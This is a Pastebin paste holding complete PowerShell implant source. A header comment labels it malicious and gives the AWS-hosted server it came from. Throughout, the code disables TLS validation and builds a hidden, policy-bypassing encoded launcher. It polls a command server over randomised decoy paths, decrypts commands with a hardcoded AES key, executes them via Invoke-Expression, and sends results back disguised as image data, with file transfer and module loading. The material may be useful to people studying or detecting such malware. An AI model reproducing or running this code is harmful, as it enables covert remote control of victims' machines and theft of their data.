Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #malicious powershell from https://ec2-13-127-208-134.ap-south-1.compute.amazonaws.com:443/images/static/content/
- $key="GBkYVDloN+rQwqsx01h2ESyN+zSGcmYhd4tOzVAsplU="
- $sleeptime = 30
- $payloadclear = @"
- [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
- `$s="$s"
- `$sc="$sc"
- function DEC {${function:DEC}}
- function ENC {${function:ENC}}
- function CAM {${function:CAM}}
- function Get-Webclient {${function:Get-Webclient}}
- function Primer {${function:primer}}
- `$primer = primer
- if (`$primer) {`$primer| iex} else {
- start-sleep 1800
- primer | iex }
- "@
- $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($payloadclear)
- $CompressedStream = New-Object IO.MemoryStream
- $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
- $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
- $DeflateStream.Dispose()
- $CompressedScriptBytes = $CompressedStream.ToArray()
- $CompressedStream.Dispose()
- $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
- $NewScript = "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`"$EncodedCompressedScript`"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
- $UnicodeEncoder = New-Object System.Text.UnicodeEncoding
- $EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
- $payloadraw = "powershell -exec bypass -Noninteractive -windowstyle hidden -e $($EncodedPayloadScript)"
- $payload = $payloadraw -replace "`n", ""
- function GetImgData($cmdoutput) {
- $icoimage = @("R0lGODlhFwAXAPcAAP///yCoOSGnOx+oOB6nNx+nOR+nOCGnOh2nNhikMiCoOhymNmrEfCCnOu/58U25YtPt2JnXpfL683XIhSSpPvX79g6hKfz+/YzRmpTVoBynNgygJx6mN4XQkpfWog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cFV0Bu7F0/QNR1IQemtEzQAAAAABJRU5ErkJggg==")
- try {$image = $icoimage|get-random}catch{}
- function randomgen
- {
- param (
- [int]$Length
- )
- $set = "...................@..........................Tyscf".ToCharArray()
- $result = ""
- for ($x = 0; $x -lt $Length; $x++)
- {$result += $set | Get-Random}
- return $result
- }
- $imageBytes = [Convert]::FromBase64String($image)
- $maxbyteslen = 1500
- $maxdatalen = 1500 + ($cmdoutput.Length)
- $imagebyteslen = $imageBytes.Length
- $paddingbyteslen = $maxbyteslen - $imagebyteslen
- $BytePadding = [System.Text.Encoding]::UTF8.GetBytes((randomgen $paddingbyteslen))
- $ImageBytesFull = New-Object byte[] $maxdatalen
- [System.Array]::Copy($imageBytes, 0, $ImageBytesFull, 0, $imageBytes.Length)
- [System.Array]::Copy($BytePadding, 0, $ImageBytesFull,$imageBytes.Length, $BytePadding.Length)
- [System.Array]::Copy($cmdoutput, 0, $ImageBytesFull,$imageBytes.Length+$BytePadding.Length, $cmdoutput.Length )
- $ImageBytesFull
- }
- function Create-AesManagedObject($key, $IV) {
- $aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged"
- $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
- $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
- $aesManaged.BlockSize = 128
- $aesManaged.KeySize = 256
- if ($IV) {
- if ($IV.getType().Name -eq "String") {
- $aesManaged.IV = [System.Convert]::FromBase64String($IV)
- }
- else {
- $aesManaged.IV = $IV
- }
- }
- if ($key) {
- if ($key.getType().Name -eq "String") {
- $aesManaged.Key = [System.Convert]::FromBase64String($key)
- }
- else {
- $aesManaged.Key = $key
- }
- }
- $aesManaged
- }
- function Encrypt-String($key, $unencryptedString) {
- $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
- $aesManaged = Create-AesManagedObject $key
- $encryptor = $aesManaged.CreateEncryptor()
- $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
- [byte[]] $fullData = $aesManaged.IV + $encryptedData
- #$aesManaged.Dispose()
- [System.Convert]::ToBase64String($fullData)
- }
- function Encrypt-Bytes($key, $bytes) {
- [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
- $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
- $gzipStream.Write( $bytes, 0, $bytes.Length )
- $gzipStream.Close()
- $bytes = $output.ToArray()
- $output.Close()
- $aesManaged = Create-AesManagedObject $key
- $encryptor = $aesManaged.CreateEncryptor()
- $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
- [byte[]] $fullData = $aesManaged.IV + $encryptedData
- $fullData
- }
- function Decrypt-String($key, $encryptedStringWithIV) {
- $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
- $IV = $bytes[0..15]
- $aesManaged = Create-AesManagedObject $key $IV
- $decryptor = $aesManaged.CreateDecryptor();
- $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
- #$aesManaged.Dispose()
- [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
- }
- function Encrypt-String2($key, $unencryptedString) {
- $unencryptedBytes = [system.Text.Encoding]::UTF8.GetBytes($unencryptedString)
- $CompressedStream = New-Object IO.MemoryStream
- $DeflateStream = New-Object System.IO.Compression.GzipStream $CompressedStream, ([IO.Compression.CompressionMode]::Compress)
- $DeflateStream.Write($unencryptedBytes, 0, $unencryptedBytes.Length)
- $DeflateStream.Dispose()
- $bytes = $CompressedStream.ToArray()
- $CompressedStream.Dispose()
- $aesManaged = Create-AesManagedObject $key
- $encryptor = $aesManaged.CreateEncryptor()
- $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
- [byte[]] $fullData = $aesManaged.IV + $encryptedData
- $fullData
- }
- function Decrypt-String2($key, $encryptedStringWithIV) {
- $bytes = $encryptedStringWithIV
- $IV = $bytes[0..15]
- $aesManaged = Create-AesManagedObject $key $IV
- $decryptor = $aesManaged.CreateDecryptor()
- $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
- $output = (New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$unencryptedData)), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()
- $output
- #[System.Text.Encoding]::UTF8.GetString($output).Trim([char]0)
- }
- [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
- $URI= "dpvz36qvpvq530o"
- $Server = "$s/dpvz36qvpvq530o"
- $ServerClean = "$sc"
- while($true)
- {
- $date = (Get-Date -Format "dd/MM/yyyy")
- $date = [datetime]::ParseExact($date,"dd/MM/yyyy",$null)
- $killdate = [datetime]::ParseExact("09/08/2018","dd/MM/yyyy",$null)
- if ($killdate -lt $date) {exit}
- $sleeptimeran = $sleeptime, ($sleeptime * 1.1), ($sleeptime * 0.9)
- $newsleep = $sleeptimeran|get-random
- if ($newsleep -lt 1) {$newsleep = 5}
- start-sleep $newsleep
- $URLS = "images/static/content/","news/","webapp/static/","images/prints/","wordpress/site/","steam/connect/","true/images/static/","holdings/office/images/","preferences/site/","okfn/website/blob/master/templates/","forums/review/","general/community/mega/","organisations/space/value/","trigger/may/","web/master/review/","premium/gov/pop/","usc/builder/power/master/","shopping/v/awe/pool/app/a/","pl/en/pages/","store/en/uk/pages/","plugins/domains/custom/uk/","gas/safe/register/","online/free/advice/","cookies/websites/content/","free/uk/shopping/unlimited/"
- $RandomURI = Get-Random $URLS
- $G=[guid]::NewGuid()
- $Server = "$ServerClean/$RandomURI$G/?$URI"
- try { $ReadCommand = (Get-Webclient).DownloadString("$Server") } catch {}
- while($ReadCommand) {
- $RandomURI = Get-Random $URLS
- $G=[guid]::NewGuid()
- $Server = "$ServerClean/$RandomURI$G/?$URI"
- try { $ReadCommandClear = Decrypt-String $key $ReadCommand } catch {}
- $error.clear()
- if (($ReadCommandClear) -and ($ReadCommandClear -ne "fvdsghfdsyyh")) {
- if ($ReadCommandClear.ToLower().StartsWith("multicmd")) {
- $splitcmd = $ReadCommandClear -replace "multicmd",""
- $split = $splitcmd -split "!d-3dion@LD!-d"
- foreach ($i in $split){
- $RandomURI = Get-Random $URLS
- $G=[guid]::NewGuid()
- $Server = "$ServerClean/$RandomURI$G/?$URI"
- $error.clear()
- if ($i.ToLower().StartsWith("upload-file")) {
- try {
- $Output = Invoke-Expression $i | out-string
- $Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
- if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] }
- $ModuleLoaded = Encrypt-String $key $result
- $Output = Encrypt-String2 $key $Output
- $UploadBytes = getimgdata $Output
- (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
- } catch {
- $Output = "ErrorUpload: " + $error[0]
- }
- } elseif ($i.ToLower().StartsWith("download-file")) {
- try {
- Invoke-Expression $i | Out-Null
- }
- catch {
- $Output = "ErrorLoadMod: " + $error[0]
- }
- } elseif ($i.ToLower().StartsWith("loadmodule")) {
- try {
- $modulename = $i -replace "LoadModule",""
- $Output = Invoke-Expression $modulename | out-string
- $Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
- $ModuleLoaded = Encrypt-String $key "ModuleLoaded"
- $Output = Encrypt-String2 $key $Output
- $UploadBytes = getimgdata $Output
- (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
- } catch {
- $Output = "ErrorLoadMod: " + $error[0]
- }
- } else {
- try {
- $Output = Invoke-Expression $i | out-string
- $Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
- $StdError = ($error[0] | Out-String)
- if ($StdError){
- $Output = $Output + $StdError
- $error.clear()
- }
- } catch {
- $Output = "ErrorCmd: " + $error[0]
- }
- try {
- $Output = Encrypt-String2 $key $Output
- $Response = Encrypt-String $key $i
- $UploadBytes = getimgdata $Output
- (Get-Webclient -Cookie $Response).UploadData("$Server", $UploadBytes)|out-null
- } catch{}
- }
- }
- }
- elseif ($ReadCommandClear.ToLower().StartsWith("upload-file")) {
- try {
- $Output = Invoke-Expression $ReadCommandClear | out-string
- $Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
- if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] }
- $ModuleLoaded = Encrypt-String $key $result
- $Output = Encrypt-String2 $key $Output
- $UploadBytes = getimgdata $Output
- (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
- } catch {
- $Output = "ErrorUpload: " + $error[0]
- }
- } elseif ($ReadCommandClear.ToLower().StartsWith("download-file")) {
- try {
- Invoke-Expression $ReadCommandClear | Out-Null
- }
- catch {
- $Output = "ErrorLoadMod: " + $error[0]
- }
- } elseif ($ReadCommandClear.ToLower().StartsWith("loadmodule")) {
- try {
- $modulename = $ReadCommandClear -replace "LoadModule",""
- $Output = Invoke-Expression $modulename | out-string
- $Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
- $ModuleLoaded = Encrypt-String $key "ModuleLoaded"
- $Output = Encrypt-String2 $key $Output
- $UploadBytes = getimgdata $Output
- (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null
- } catch {
- $Output = "ErrorLoadMod: " + $error[0]
- }
- } else {
- try {
- $Output = Invoke-Expression $ReadCommandClear | out-string
- $Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
- $StdError = ($error[0] | Out-String)
- if ($StdError){
- $Output = $Output + $StdError
- $error.clear()
- }
- } catch {
- $Output = "ErrorCmd: " + $error[0]
- }
- try {
- $Output = Encrypt-String2 $key $Output
- $UploadBytes = getimgdata $Output
- (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null
- } catch {}
- }
- $ReadCommandClear = $null
- }
- break
- }
- }
Add Comment
Please, Sign In to add comment